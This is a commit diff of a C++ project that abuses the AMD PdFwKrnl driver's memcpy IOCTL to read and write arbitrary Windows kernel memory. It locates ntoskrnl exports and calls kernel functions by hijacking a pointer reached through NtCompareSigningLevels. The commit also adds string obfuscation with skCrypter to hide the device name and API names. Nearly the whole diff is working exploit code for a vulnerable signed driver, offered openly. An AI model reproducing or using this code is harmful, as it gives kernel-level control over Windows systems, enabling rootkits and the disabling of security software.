refactor a ton of stuff + dynamic pointer gettin
This commit is contained in:
@@ -1,145 +1,241 @@
|
|||||||
#pragma once
|
#include "pdfwkrnl.h"
|
||||||
|
|
||||||
#include "pdfwkrnl.h"
|
bool pdfwkrnl::attach() {
|
||||||
#include <vector>
|
if(driver_handle) {
|
||||||
#include <string.h>
|
CloseHandle(driver_handle);
|
||||||
|
driver_handle = nullptr;
|
||||||
_pdfwkrnl::_pdfwkrnl() : hDevice(INVALID_HANDLE_VALUE) {}
|
}
|
||||||
|
|
||||||
_pdfwkrnl::~_pdfwkrnl() { detach(); }
|
driver_handle = CreateFileA(driver_symbolic_link.decrypt(),
|
||||||
|
GENERIC_READ | GENERIC_WRITE,
|
||||||
bool _pdfwkrnl::attach() {
|
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
||||||
if (hDevice != INVALID_HANDLE_VALUE) {
|
NULL,
|
||||||
return true;
|
OPEN_EXISTING,
|
||||||
}
|
FILE_ATTRIBUTE_NORMAL,
|
||||||
|
NULL
|
||||||
hDevice = CreateFileW(L"\\\\.\\PdFwKrnl",
|
);
|
||||||
GENERIC_READ | GENERIC_WRITE,
|
|
||||||
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
if(!driver_handle || driver_handle == INVALID_HANDLE_VALUE){
|
||||||
NULL,
|
return false;
|
||||||
OPEN_EXISTING,
|
}
|
||||||
FILE_ATTRIBUTE_NORMAL,
|
|
||||||
NULL);
|
return true;
|
||||||
|
}
|
||||||
return hDevice != INVALID_HANDLE_VALUE;
|
|
||||||
}
|
bool pdfwkrnl::detach() {
|
||||||
|
if(driver_handle) {
|
||||||
void _pdfwkrnl::detach() {
|
HANDLE temp_handle = driver_handle;
|
||||||
if (hDevice != INVALID_HANDLE_VALUE) {
|
driver_handle = nullptr;
|
||||||
CloseHandle(hDevice);
|
return CloseHandle(temp_handle);
|
||||||
hDevice = INVALID_HANDLE_VALUE;
|
}
|
||||||
}
|
|
||||||
}
|
return false;
|
||||||
|
}
|
||||||
uint64_t _pdfwkrnl::get_ntoskrnl_base() {
|
|
||||||
if (hDevice == INVALID_HANDLE_VALUE) {
|
bool pdfwkrnl::read(uint64_t _Address, void* _Buffer, size_t Size) {
|
||||||
return 0;
|
if (driver_handle == INVALID_HANDLE_VALUE || !_Buffer || !Size || !_Address)
|
||||||
}
|
return false;
|
||||||
|
|
||||||
uint64_t base_address = 0;
|
structure::PDFW_MEMCPY memcpy_data = { 0 };
|
||||||
DWORD CbNeeded = 0;
|
memcpy_data.Destination = (PVOID)_Buffer;
|
||||||
LPVOID Drivers[1024]{};
|
memcpy_data.Source = (void*)_Address;
|
||||||
if (EnumDeviceDrivers(Drivers, sizeof(Drivers), &CbNeeded)) {
|
memcpy_data.Size = Size;
|
||||||
base_address = (uint64_t)Drivers[0];
|
|
||||||
}
|
DWORD bytes_returned;
|
||||||
|
return DeviceIoControl(driver_handle,
|
||||||
return base_address;
|
driver_memcpy,
|
||||||
}
|
&memcpy_data,
|
||||||
|
sizeof(structure::PDFW_MEMCPY),
|
||||||
uint64_t _pdfwkrnl::get_ntoskrnl_export(const char* function) {
|
&memcpy_data,
|
||||||
uint64_t ntoskrnl_base = get_ntoskrnl_base();
|
sizeof(structure::PDFW_MEMCPY),
|
||||||
if (!ntoskrnl_base)
|
&bytes_returned,
|
||||||
return 0;
|
NULL) != 0;
|
||||||
|
}
|
||||||
IMAGE_DOS_HEADER dos_headers = read_virtual_memory<IMAGE_DOS_HEADER>(ntoskrnl_base);
|
|
||||||
if (dos_headers.e_magic != IMAGE_DOS_SIGNATURE)
|
bool pdfwkrnl::write(uint64_t _Address, void* _Buffer, size_t Size) {
|
||||||
return 0;
|
if (driver_handle == INVALID_HANDLE_VALUE || !_Buffer || !Size || !_Address)
|
||||||
|
return false;
|
||||||
IMAGE_NT_HEADERS nt_headers = read_virtual_memory<IMAGE_NT_HEADERS>(ntoskrnl_base + dos_headers.e_lfanew);
|
|
||||||
|
structure::PDFW_MEMCPY memcpy_data = { 0 };
|
||||||
if (nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) {
|
memcpy_data.Destination = (PVOID)_Address;
|
||||||
auto image_export_directory = ntoskrnl_base + nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
memcpy_data.Source = _Buffer;
|
||||||
|
memcpy_data.Size = Size;
|
||||||
IMAGE_EXPORT_DIRECTORY export_directory = read_virtual_memory<IMAGE_EXPORT_DIRECTORY>(image_export_directory);
|
|
||||||
|
DWORD bytes_returned;
|
||||||
if (export_directory.NumberOfFunctions > 0) {
|
return DeviceIoControl(driver_handle,
|
||||||
auto address_of_functions = ntoskrnl_base + export_directory.AddressOfFunctions;
|
driver_memcpy,
|
||||||
auto address_of_names = ntoskrnl_base + export_directory.AddressOfNames;
|
&memcpy_data,
|
||||||
auto address_of_name_ordinals = ntoskrnl_base + export_directory.AddressOfNameOrdinals;
|
sizeof(structure::PDFW_MEMCPY),
|
||||||
|
&memcpy_data,
|
||||||
std::vector<DWORD> func_rvas(export_directory.NumberOfFunctions);
|
sizeof(structure::PDFW_MEMCPY),
|
||||||
std::vector<DWORD> name_rvas(export_directory.NumberOfNames);
|
&bytes_returned,
|
||||||
std::vector<WORD> ordinals(export_directory.NumberOfNames);
|
NULL) != 0;
|
||||||
|
}
|
||||||
if (!read_virtual_memory(address_of_functions, func_rvas.data(), export_directory.NumberOfFunctions * sizeof(DWORD)))
|
|
||||||
return -1;
|
uint64_t pdfwkrnl::get_kernel_base() {
|
||||||
|
uint64_t kernel_base = 0;
|
||||||
if (!read_virtual_memory(address_of_names, name_rvas.data(), export_directory.NumberOfNames * sizeof(DWORD)))
|
|
||||||
return -1;
|
DWORD CbNeeded = 0;
|
||||||
|
LPVOID Drivers[1024]{};
|
||||||
if (!read_virtual_memory(address_of_name_ordinals, ordinals.data(), export_directory.NumberOfNames * sizeof(WORD)))
|
|
||||||
return -1;
|
if (EnumDeviceDrivers(Drivers, sizeof(Drivers), &CbNeeded)) {
|
||||||
|
for (DWORD i = 0; i < (CbNeeded / sizeof(LPVOID)); i++) {
|
||||||
for (DWORD i = 0; i < export_directory.NumberOfNames; i++) {
|
char szDriverName[MAX_PATH]{};
|
||||||
char func_name[256] = { 0 };
|
if (GetDeviceDriverBaseNameA(Drivers[i], szDriverName, sizeof(szDriverName))) {
|
||||||
auto name_address = ntoskrnl_base + name_rvas[i];
|
if (strcmp(szDriverName, STR("ntoskrnl.exe").decrypt()) == 0) {
|
||||||
|
kernel_base = reinterpret_cast<uint64_t>(Drivers[i]);
|
||||||
if (!read_virtual_memory(name_address, func_name, sizeof(func_name)))
|
break;
|
||||||
continue;
|
}
|
||||||
|
}
|
||||||
func_name[255] = '\0';
|
}
|
||||||
|
}
|
||||||
auto ordinal = export_directory.Base + ordinals[i];
|
|
||||||
auto func_rva = func_rvas[ordinals[i]];
|
return kernel_base;
|
||||||
auto func_address = ntoskrnl_base + func_rva;
|
}
|
||||||
|
|
||||||
if (!strcmp(func_name, function))
|
uint64_t pdfwkrnl::get_kernel_base(const char* module_name) {
|
||||||
return func_address;
|
uint64_t kernel_base = 0;
|
||||||
}
|
|
||||||
}
|
DWORD CbNeeded = 0;
|
||||||
}
|
LPVOID Drivers[1024]{};
|
||||||
|
|
||||||
return 0;
|
if (EnumDeviceDrivers(Drivers, sizeof(Drivers), &CbNeeded)) {
|
||||||
}
|
for (DWORD i = 0; i < (CbNeeded / sizeof(LPVOID)); i++) {
|
||||||
|
char szDriverName[MAX_PATH]{};
|
||||||
bool _pdfwkrnl::read_virtual_memory(UINT64 address, void* buffer, ULONG size) {
|
if (GetDeviceDriverBaseNameA(Drivers[i], szDriverName, sizeof(szDriverName))) {
|
||||||
if (hDevice == INVALID_HANDLE_VALUE || !buffer || !size || !address) {
|
if (strcmp(szDriverName, module_name) == 0) {
|
||||||
return false;
|
kernel_base = reinterpret_cast<uint64_t>(Drivers[i]);
|
||||||
}
|
break;
|
||||||
|
}
|
||||||
PDFW_MEMCPY memcpy_data = { 0 };
|
}
|
||||||
memcpy_data.Destination = buffer;
|
}
|
||||||
memcpy_data.Source = (PVOID)address;
|
}
|
||||||
memcpy_data.Size = size;
|
|
||||||
|
return kernel_base;
|
||||||
DWORD bytes_returned;
|
}
|
||||||
return DeviceIoControl(hDevice,
|
|
||||||
IOCTL_AMDPDFW_MEMCPY,
|
uint64_t pdfwkrnl::get_kernel_export(const char* export_name) {
|
||||||
&memcpy_data,
|
uint64_t kernel_base = get_kernel_base();
|
||||||
sizeof(PDFW_MEMCPY),
|
if (!kernel_base)
|
||||||
&memcpy_data,
|
return 0;
|
||||||
sizeof(PDFW_MEMCPY),
|
|
||||||
&bytes_returned,
|
uint64_t export_address = 0;
|
||||||
NULL) != 0;
|
|
||||||
}
|
IMAGE_DOS_HEADER dos_header = read<IMAGE_DOS_HEADER>(kernel_base);
|
||||||
|
if(dos_header.e_magic != IMAGE_DOS_SIGNATURE)
|
||||||
bool _pdfwkrnl::write_virtual_memory(UINT64 address, void* buffer, ULONG size) {
|
return 0;
|
||||||
if (hDevice == INVALID_HANDLE_VALUE || !buffer || !size || !address) {
|
|
||||||
return false;
|
IMAGE_NT_HEADERS64 nt_headers = read<IMAGE_NT_HEADERS64>(kernel_base + dos_header.e_lfanew);
|
||||||
}
|
if(nt_headers.Signature != IMAGE_NT_SIGNATURE)
|
||||||
|
return 0;
|
||||||
PDFW_MEMCPY memcpy_data = { 0 };
|
|
||||||
memcpy_data.Destination = (PVOID)address;
|
if (nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) {
|
||||||
memcpy_data.Source = buffer;
|
IMAGE_EXPORT_DIRECTORY export_directory = read<IMAGE_EXPORT_DIRECTORY>(kernel_base + nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||||
memcpy_data.Size = size;
|
if (export_directory.NumberOfFunctions > 0) {
|
||||||
|
auto address_of_functions = kernel_base + export_directory.AddressOfFunctions;
|
||||||
DWORD bytes_returned;
|
auto address_of_names = kernel_base + export_directory.AddressOfNames;
|
||||||
return DeviceIoControl(hDevice,
|
auto address_of_name_ordinals = kernel_base + export_directory.AddressOfNameOrdinals;
|
||||||
IOCTL_AMDPDFW_MEMCPY,
|
|
||||||
&memcpy_data,
|
std::vector<DWORD> func_rvas(export_directory.NumberOfFunctions);
|
||||||
sizeof(PDFW_MEMCPY),
|
std::vector<DWORD> name_rvas(export_directory.NumberOfNames);
|
||||||
&memcpy_data,
|
std::vector<WORD> ordinals(export_directory.NumberOfNames);
|
||||||
sizeof(PDFW_MEMCPY),
|
|
||||||
&bytes_returned,
|
if (!read(address_of_functions, func_rvas.data(), export_directory.NumberOfFunctions * sizeof(DWORD)))
|
||||||
NULL) != 0;
|
return 0;
|
||||||
|
|
||||||
|
if (!read(address_of_names, name_rvas.data(), export_directory.NumberOfNames * sizeof(DWORD)))
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
if (!read(address_of_name_ordinals, ordinals.data(), export_directory.NumberOfNames * sizeof(WORD)))
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < export_directory.NumberOfNames; i++) {
|
||||||
|
char func_name[MAX_PATH] = { 0 };
|
||||||
|
auto name_address = kernel_base + name_rvas[i];
|
||||||
|
|
||||||
|
if (!read(name_address, func_name, sizeof(func_name)))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
func_name[MAX_PATH - 1] = '\0';
|
||||||
|
|
||||||
|
auto ordinal = export_directory.Base + ordinals[i];
|
||||||
|
auto func_rva = func_rvas[ordinals[i]];
|
||||||
|
auto func_address = kernel_base + func_rva;
|
||||||
|
|
||||||
|
if (!strcmp(func_name, export_name))
|
||||||
|
return func_address;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
else
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint64_t pdfwkrnl::get_kernel_export(const char* module_name, const char* export_name) {
|
||||||
|
uint64_t kernel_base = get_kernel_base(module_name);
|
||||||
|
if (!kernel_base)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
uint64_t export_address = 0;
|
||||||
|
|
||||||
|
IMAGE_DOS_HEADER dos_header = read<IMAGE_DOS_HEADER>(kernel_base);
|
||||||
|
if (dos_header.e_magic != IMAGE_DOS_SIGNATURE)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
IMAGE_NT_HEADERS64 nt_headers = read<IMAGE_NT_HEADERS64>(kernel_base + dos_header.e_lfanew);
|
||||||
|
if (nt_headers.Signature != IMAGE_NT_SIGNATURE)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
if (nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) {
|
||||||
|
IMAGE_EXPORT_DIRECTORY export_directory = read<IMAGE_EXPORT_DIRECTORY>(kernel_base + nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||||
|
if (export_directory.NumberOfFunctions > 0) {
|
||||||
|
auto address_of_functions = kernel_base + export_directory.AddressOfFunctions;
|
||||||
|
auto address_of_names = kernel_base + export_directory.AddressOfNames;
|
||||||
|
auto address_of_name_ordinals = kernel_base + export_directory.AddressOfNameOrdinals;
|
||||||
|
|
||||||
|
std::vector<DWORD> func_rvas(export_directory.NumberOfFunctions);
|
||||||
|
std::vector<DWORD> name_rvas(export_directory.NumberOfNames);
|
||||||
|
std::vector<WORD> ordinals(export_directory.NumberOfNames);
|
||||||
|
|
||||||
|
if (!read(address_of_functions, func_rvas.data(), export_directory.NumberOfFunctions * sizeof(DWORD)))
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
if (!read(address_of_names, name_rvas.data(), export_directory.NumberOfNames * sizeof(DWORD)))
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
if (!read(address_of_name_ordinals, ordinals.data(), export_directory.NumberOfNames * sizeof(WORD)))
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < export_directory.NumberOfNames; i++) {
|
||||||
|
char func_name[MAX_PATH] = { 0 };
|
||||||
|
auto name_address = kernel_base + name_rvas[i];
|
||||||
|
|
||||||
|
if (!read(name_address, func_name, sizeof(func_name)))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
func_name[MAX_PATH - 1] = '\0';
|
||||||
|
|
||||||
|
auto ordinal = export_directory.Base + ordinals[i];
|
||||||
|
auto func_rva = func_rvas[ordinals[i]];
|
||||||
|
auto func_address = kernel_base + func_rva;
|
||||||
|
|
||||||
|
if (!strcmp(func_name, export_name))
|
||||||
|
return func_address;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
else
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
}
|
}
|
||||||
@@ -8,36 +8,105 @@
|
|||||||
#include <vector>
|
#include <vector>
|
||||||
#include <string>
|
#include <string>
|
||||||
#include <stdexcept>
|
#include <stdexcept>
|
||||||
|
#include "skCrypter.hpp"
|
||||||
|
|
||||||
const ULONG IOCTL_AMDPDFW_MEMCPY = CTL_CODE(0x8000, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS);
|
namespace pdfwkrnl {
|
||||||
|
namespace structure {
|
||||||
|
struct PDFW_MEMCPY {
|
||||||
|
BYTE Reserved[16];
|
||||||
|
PVOID Destination;
|
||||||
|
PVOID Source;
|
||||||
|
PVOID Reserved2;
|
||||||
|
DWORD Size;
|
||||||
|
DWORD Reserved3;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
static auto driver_symbolic_link = STR("\\\\.\\PdFwKrnl");
|
||||||
|
const ULONG driver_memcpy = CTL_CODE(0x8000, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS);
|
||||||
|
static HANDLE driver_handle = nullptr;
|
||||||
|
|
||||||
typedef struct _PDFW_MEMCPY {
|
|
||||||
BYTE Reserved[16];
|
|
||||||
PVOID Destination;
|
|
||||||
PVOID Source;
|
|
||||||
PVOID Reserved2;
|
|
||||||
DWORD Size;
|
|
||||||
DWORD Reserved3;
|
|
||||||
} PDFW_MEMCPY, * PPDFW_MEMCPY;
|
|
||||||
|
|
||||||
inline class _pdfwkrnl {
|
|
||||||
private:
|
|
||||||
HANDLE hDevice;
|
|
||||||
|
|
||||||
public:
|
|
||||||
_pdfwkrnl();
|
|
||||||
~_pdfwkrnl();
|
|
||||||
bool attach();
|
bool attach();
|
||||||
void detach();
|
bool detach();
|
||||||
uint64_t get_ntoskrnl_base();
|
|
||||||
uint64_t get_ntoskrnl_export(const char* function);
|
bool read(uint64_t _Address, void* _Buffer, size_t Size);
|
||||||
bool read_virtual_memory(UINT64 address, void* buffer, ULONG size);
|
bool write(uint64_t _Address, void* _Buffer, size_t Size);
|
||||||
bool write_virtual_memory(UINT64 address, void* buffer, ULONG size);
|
|
||||||
|
|
||||||
template <typename T>
|
template <typename T>
|
||||||
T read_virtual_memory(UINT64 address) {
|
T read(UINT64 address) {
|
||||||
T buffer{};
|
T buffer{};
|
||||||
read_virtual_memory(address, &buffer, sizeof(T));
|
read(address, &buffer, sizeof(T));
|
||||||
return buffer;
|
return buffer;
|
||||||
}
|
}
|
||||||
}pdfwkrnl;
|
|
||||||
|
uint64_t get_kernel_base();
|
||||||
|
uint64_t get_kernel_base(const char* module_name);
|
||||||
|
uint64_t get_kernel_export(const char* export_name);
|
||||||
|
uint64_t get_kernel_export(const char* module_name, const char* export_name);
|
||||||
|
|
||||||
|
template <typename T, typename... Args>
|
||||||
|
T call_kernel_function(uint64_t function_address, Args... args) {
|
||||||
|
if (!function_address)
|
||||||
|
return T{};
|
||||||
|
|
||||||
|
uint64_t kernel_base = get_kernel_base();
|
||||||
|
if (!kernel_base)
|
||||||
|
return T{};
|
||||||
|
|
||||||
|
HMODULE m_ntdll = GetModuleHandleW(STR(L"ntdll.dll"));
|
||||||
|
if (!m_ntdll)
|
||||||
|
return T{};
|
||||||
|
|
||||||
|
FARPROC NtCompareSigningLevels = GetProcAddress(m_ntdll, STR("NtCompareSigningLevels"));
|
||||||
|
if (!NtCompareSigningLevels)
|
||||||
|
return T{};
|
||||||
|
|
||||||
|
uint64_t kernel_NtCompareSigningLevels = get_kernel_export(STR("NtCompareSigningLevels"));
|
||||||
|
if (!kernel_NtCompareSigningLevels)
|
||||||
|
return T{};
|
||||||
|
|
||||||
|
BYTE bytes[32];
|
||||||
|
if (!read(kernel_NtCompareSigningLevels, bytes, sizeof(bytes)))
|
||||||
|
return T{};
|
||||||
|
|
||||||
|
uint64_t qword_swap = kernel_base + 0xC1DA00;
|
||||||
|
|
||||||
|
if (bytes[4] == 0x4C && bytes[5] == 0x8B && bytes[6] == 0x05) {
|
||||||
|
int32_t displacement;
|
||||||
|
memcpy(&displacement, &bytes[7], sizeof(int32_t));
|
||||||
|
uint64_t rip = kernel_NtCompareSigningLevels + 0xB;
|
||||||
|
uint64_t function_pointer_addr = rip + displacement;
|
||||||
|
if (function_pointer_addr) {
|
||||||
|
qword_swap = function_pointer_addr;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return T{};
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
uint64_t qword_original = 0;
|
||||||
|
|
||||||
|
if (!read(qword_swap, &qword_original, sizeof(uint64_t)))
|
||||||
|
return T{};
|
||||||
|
|
||||||
|
if (!write(qword_swap, &function_address, sizeof(uint64_t)))
|
||||||
|
return T{};
|
||||||
|
|
||||||
|
|
||||||
|
if constexpr (std::is_void_v<T>) {
|
||||||
|
auto function = reinterpret_cast<void(__stdcall*)(Args...)>(NtCompareSigningLevels);
|
||||||
|
function(args...);
|
||||||
|
write(qword_swap, &qword_original, sizeof(uint64_t));
|
||||||
|
return T{};
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
using function_t = T(__stdcall*)(Args...);
|
||||||
|
auto function = reinterpret_cast<function_t>(NtCompareSigningLevels);
|
||||||
|
T return_value = function(args...);
|
||||||
|
write(qword_swap, &qword_original, sizeof(uint64_t));
|
||||||
|
return return_value;
|
||||||
|
}
|
||||||
|
|
||||||
|
return T{};
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,54 +1,16 @@
|
|||||||
#include "PdFwKrnl.h"
|
#include "PdFwKrnl.h"
|
||||||
|
|
||||||
template <typename T, typename... Args>
|
int main(void) {
|
||||||
T call_kernel_function(const char* function_name, Args... args){
|
if (!pdfwkrnl::attach()) {
|
||||||
|
printf(STR("failed to attach to driver \n"));
|
||||||
uint64_t ntoskrnl_base = pdfwkrnl.get_ntoskrnl_base();
|
|
||||||
if (!ntoskrnl_base)
|
|
||||||
return T{};
|
|
||||||
|
|
||||||
uint64_t function_address = pdfwkrnl.get_ntoskrnl_export(function_name);
|
|
||||||
if (!function_address)
|
|
||||||
return T{};
|
|
||||||
|
|
||||||
uint64_t qword_swap = ntoskrnl_base + 0xC1DA00;
|
|
||||||
uint64_t qword_original = 0;
|
|
||||||
|
|
||||||
if (!pdfwkrnl.read_virtual_memory(qword_swap, &qword_original, sizeof(uint64_t)))
|
|
||||||
return T{};
|
|
||||||
|
|
||||||
if (!pdfwkrnl.write_virtual_memory(qword_swap, &function_address, sizeof(uint64_t)))
|
|
||||||
return T{};
|
|
||||||
|
|
||||||
HMODULE m_ntdll = GetModuleHandleA("ntdll.dll");
|
|
||||||
if (!m_ntdll)
|
|
||||||
return T{};
|
|
||||||
|
|
||||||
FARPROC NtCompareSigningLevels = GetProcAddress(m_ntdll, "NtCompareSigningLevels");
|
|
||||||
|
|
||||||
using FuncPtr = T(__stdcall*)(Args...);
|
|
||||||
if constexpr (std::is_void_v<T>) {
|
|
||||||
auto func = reinterpret_cast<void(__stdcall*)(Args...)>(NtCompareSigningLevels);
|
|
||||||
func(args...);
|
|
||||||
pdfwkrnl.write_virtual_memory(qword_swap, &qword_original, sizeof(uint64_t)); // swap back
|
|
||||||
return T{};
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
auto func = reinterpret_cast<FuncPtr>(NtCompareSigningLevels);
|
|
||||||
T return_value = func(args...);
|
|
||||||
pdfwkrnl.write_virtual_memory(qword_swap, &qword_original, sizeof(uint64_t)); // swap back
|
|
||||||
return return_value;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
int main() {
|
|
||||||
if (!pdfwkrnl.attach())
|
|
||||||
return -1;
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
printf("attached to kernel\n");
|
// a ntstatus of STATUS_INVALID_IMAGE_HASH or 0xC0000428 will always be returned as NtCompareSigningLevels always returns it if returned value by the called function is not equal then 0.
|
||||||
|
pdfwkrnl::call_kernel_function<void>(pdfwkrnl::get_kernel_export("DbgPrint"), "hello from pdfwkrnl!\n");
|
||||||
|
|
||||||
call_kernel_function<void>("DbgPrint", "called kernel function");
|
if (!pdfwkrnl::detach()) {
|
||||||
|
printf(STR("failed to detach from driver \n"));
|
||||||
pdfwkrnl.detach();
|
return -1;
|
||||||
return 0;
|
}
|
||||||
}
|
}
|
||||||
87
source/skCrypter.hpp
Normal file
87
source/skCrypter.hpp
Normal file
@@ -0,0 +1,87 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <type_traits>
|
||||||
|
|
||||||
|
namespace skc
|
||||||
|
{
|
||||||
|
template<class _Ty>
|
||||||
|
using clean_type = typename std::remove_const_t<std::remove_reference_t<_Ty>>;
|
||||||
|
|
||||||
|
template <int _size, char _key1, char _key2, typename T>
|
||||||
|
class skCrypter
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
__forceinline constexpr skCrypter(T* data)
|
||||||
|
{
|
||||||
|
crypt(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline T* get()
|
||||||
|
{
|
||||||
|
return _storage;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline int size() // (w)char count
|
||||||
|
{
|
||||||
|
return _size;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline char key()
|
||||||
|
{
|
||||||
|
return _key1;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline T* encrypt()
|
||||||
|
{
|
||||||
|
if (!isEncrypted())
|
||||||
|
crypt(_storage);
|
||||||
|
|
||||||
|
return _storage;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline T* decrypt()
|
||||||
|
{
|
||||||
|
if (isEncrypted())
|
||||||
|
crypt(_storage);
|
||||||
|
|
||||||
|
return _storage;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline bool isEncrypted()
|
||||||
|
{
|
||||||
|
return _storage[_size - 1] != 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline void clear() // set full storage to 0
|
||||||
|
{
|
||||||
|
for (int i = 0; i < _size; i++)
|
||||||
|
{
|
||||||
|
_storage[i] = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline operator T* ()
|
||||||
|
{
|
||||||
|
decrypt();
|
||||||
|
|
||||||
|
return _storage;
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
__forceinline constexpr void crypt(T* data)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < _size; i++)
|
||||||
|
{
|
||||||
|
_storage[i] = data[i] ^ (_key1 + i % (1 + _key2));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
T _storage[_size]{};
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
#define STR(str) STR_KEY(str, __TIME__[4], __TIME__[7])
|
||||||
|
#define STR_KEY(str, key1, key2) []() { \
|
||||||
|
constexpr static auto crypted = skc::skCrypter \
|
||||||
|
<sizeof(str) / sizeof(str[0]), key1, key2, skc::clean_type<decltype(str[0])>>((skc::clean_type<decltype(str[0])>*)str); \
|
||||||
|
return crypted; }()
|
||||||
@@ -134,6 +134,7 @@
|
|||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClInclude Include="PdFwKrnl.h" />
|
<ClInclude Include="PdFwKrnl.h" />
|
||||||
|
<ClInclude Include="skCrypter.hpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClCompile Include="entry.cpp" />
|
<ClCompile Include="entry.cpp" />
|
||||||
|
|||||||
@@ -18,6 +18,9 @@
|
|||||||
<ClInclude Include="PdFwKrnl.h">
|
<ClInclude Include="PdFwKrnl.h">
|
||||||
<Filter>Header Files</Filter>
|
<Filter>Header Files</Filter>
|
||||||
</ClInclude>
|
</ClInclude>
|
||||||
|
<ClInclude Include="skCrypter.hpp">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClCompile Include="PdFwKrnl.cpp">
|
<ClCompile Include="PdFwKrnl.cpp">
|
||||||
|
|||||||
Reference in New Issue
Block a user